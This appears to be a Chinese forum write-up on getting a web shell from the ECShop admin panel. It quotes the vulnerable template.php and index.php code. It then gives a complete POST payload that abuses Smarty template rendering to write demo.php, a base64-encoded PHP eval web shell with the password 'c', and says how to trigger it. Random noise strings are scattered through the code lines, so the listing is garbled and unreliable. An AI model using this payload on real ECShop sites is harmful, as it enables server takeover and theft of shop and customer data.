Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

; J4 Z; z6 v% S! a1 I, o而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, B" C6 x/ j" [8 ^7 h! a- nadmin/template.php

1 if ($_REQUEST['act'] == 'update_library')

2   

' o0 w! L9 f! V& j8 c3 {
+ y5 {* L/ b  f5 A
4     check_authz_json('library_manage');
4 D" j* \3 ?6 l2 v$ |. J, b
5   

/ m- {7 m  W  V- ]* ^. k6 T% J) I+ S6     $html = stripslashes(json_str_iconv($_POST['html']));
  f0 r3 }% F5 Z6 L: s: R! V2 R- Y
7   
. @9 Z% D/ t& Y) `. {; g( m
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. f+ ~  ]# a% L% W2 r! ]  q3 ^' F# t
9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
% X) k/ }" W$ |# o* I7 U: W% s2 j
& A" B1 t  K) _  S0 G+ ?12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, Q' h: E- v, D* Y: C9 {
13   
8 b' g" f" Q8 S5 W  x# q# u4 }
9 Y# ]5 ?! q- L' ~) d( ]  p7 m14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
, Q7 n; x, h: h8 S. v
. e. y4 j, O6 A15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 K& D4 y) P$ h2 T1 z, T( B& e
7 H2 j* N0 [& r) d17         make_json_result('', $_LANG['update_lib_success']);

, c0 d! B! s4 @6 m" ~! X5 t18     }

3 {6 z3 ~5 {7 `. @' O19     else
  [5 j/ Y! M0 G% u! z
20     {
; Y/ G( ]  [* I/ d& r6 E) c; c% K! N
1 b" L8 t' y: f& B7 i# W21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

  o8 W# m8 H" o0 N% D) S. }; o' r' w22     }

( d" \/ R2 w0 }' [8 R: S1 k23 }
' S! w& S: v3 U3 @# B: N% q
那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')

2   
* A( _" G5 e$ [0 K
3 {

# c; q2 v9 g" n( g4   
% H+ Z( |8 z' d
8 f0 C1 u. `! U  I9 s5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

- r+ X8 M& u1 @2 }5 L8 V0 S6   
0 ^' e# v, j1 g' |0 E
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

9 P  l% }* `% V8   
" ], y/ B, Z9 c2 S4 J
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

11     include_once('includes/cls_json.php');
& c5 P6 H9 r2 A+ c& V- i1 b
12   
- h) k  N2 D4 Z, ]" |
13     $json = new JSON;

14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
3 }6 d! r7 F( ?" S! H
. F' f6 J, I8 T! e! t' p17     $children = get_children($cat_id);

. N+ C4 Y% g& h1 R+ `. C18   
9 U( Z  u* y6 `* K
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   
! H# D: a- L8 C# U# G1 F/ n  ~
8 X2 ]/ K: R# O# `2 {4 G21     $smarty->assign('cat_rec_sign', 1);

22   

9 c9 I* Z" l( G: c# Z' O23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

  D8 A( ^; x; a24   

- k! \, t* [. o" D25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

# z7 _6 Q! Q% ~7 d) q; {1 ?27         echo $rec_array[$rec_type];
* c9 N2 p( k1 y6 k/ ~
6 R: Z7 `, U5 T- z0 t28   
' Q! q" H: F) }! \
2 Q. w6 ?& q* _7 Z7 C* H3 A29     die($json->encode($result));

6 S6 C" {5 g/ I/ I6 G30   

31 }
& c  f$ p7 }' Y) _3 a! W
那么就有利用方法了
4 x  K1 a+ Q" n0 lpost包到http://localhost/ec/admin/template.php?act=update_library
: _( k4 J! k  A5 mPost内容：
* @* G1 v. o; \7 ~$ b: }+ M/ u
! f  d9 G6 x; \2 d3 N  i2 t2 W' X- R​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

% C6 U* p4 b6 Q9 ]7 ^" M* E然后访问http://localhost/ec/index.php?act=cat_rec
2 B: _9 Y0 x7 q* I4 k3 {. q2 L
shel地址：http://localhost/ec/demo.php
密码c